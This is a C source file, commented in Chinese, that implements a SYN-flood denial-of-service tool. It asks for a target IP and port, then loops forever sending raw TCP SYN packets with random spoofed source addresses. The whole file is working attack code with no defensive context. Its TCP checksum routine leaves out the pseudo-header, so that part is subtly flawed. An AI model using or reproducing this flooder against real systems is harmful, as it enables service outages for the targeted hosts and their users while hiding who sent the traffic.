#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

void send_data(int sfd, struct sockaddr_in *addr, int port);
unsigned short check_sum(unsigned short *addr, int len);

int main( int argc, char *argv[] ) 
{
	char ip[32]; // 目标IP
	int dport;   // 目标端口
	int sport;   // 源端口
	int sfd;
	struct sockaddr_in addr;

	memset(&addr, 0x00, sizeof(struct sockaddr_in));
	printf("目标IP:");
	scanf("%s", ip);
	printf("目标端口:");
	scanf("%d", &dport);
	printf("源端口:");
	scanf("%d", &sport);
	
	addr.sin_family = AF_INET;
	inet_aton(ip, &addr.sin_addr);
	addr.sin_port = htons(dport);
	if ( (sfd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1 ) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

	int on = 1;
	setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

	send_data(sfd, &addr, sport);
}

void send_data(int sfd, struct sockaddr_in *addr, int port) 
{
	char buf[100];
	struct iphdr *ip;
	struct tcphdr *tcp;
	int head_len;
	
	head_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
	memset(buf, 0x00, sizeof(buf));

	// 构建IP头
	ip = (struct iphdr*)buf;
	ip->version = IPVERSION;         // IP版本
	ip->ihl = sizeof(struct ip)>>2;  // IP包头长度
	ip->tos = 0;                     // 服务类型
	ip->tot_len = htons(head_len);   // IP数据包长度
	ip->id = 0;
	ip->frag_off = 0;
	ip->ttl = MAXTTL;                // TTL
	ip->protocol = IPPROTO_TCP;      // 上层协议是TCP
	ip->check = 0;                   // 校验和
	ip->daddr = addr->sin_addr.s_addr; // 目标IP地址

	// 构建TCP
	tcp = (struct tcphdr*)(buf+sizeof(struct ip));
	tcp->source = htons(port);       // 源端口
	tcp->dest = addr->sin_port;      // 目的端口
	tcp->seq = random();             // 序列值使用随机值
	tcp->ack_seq = 0;
	tcp->doff = 5;
	tcp->syn = 1;  //数据类型为SYN请求

	while ( 1 ) {
		ip->saddr = random(); // 源ip使用随机值
		tcp->check = check_sum((unsigned short*)tcp, sizeof(struct tcphdr));
		sendto(sfd, buf, head_len, 0, (struct sockaddr*)addr, (socklen_t)sizeof(struct sockaddr_in));
	}
}

unsigned short check_sum(unsigned short *addr, int len) {
	register int nleft = len;
	register int sum = 0;
	register short *w = addr;
	short ret = 0;

	while ( nleft > 1 ) {
		sum += *w++;
		nleft -= 2;
	}

	if ( nleft == 1 ) {
		*(unsigned char *)(&ret) = *(unsigned char *)w;
		sum += ret;
	}

	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	ret = ~sum;

	return ret;
}

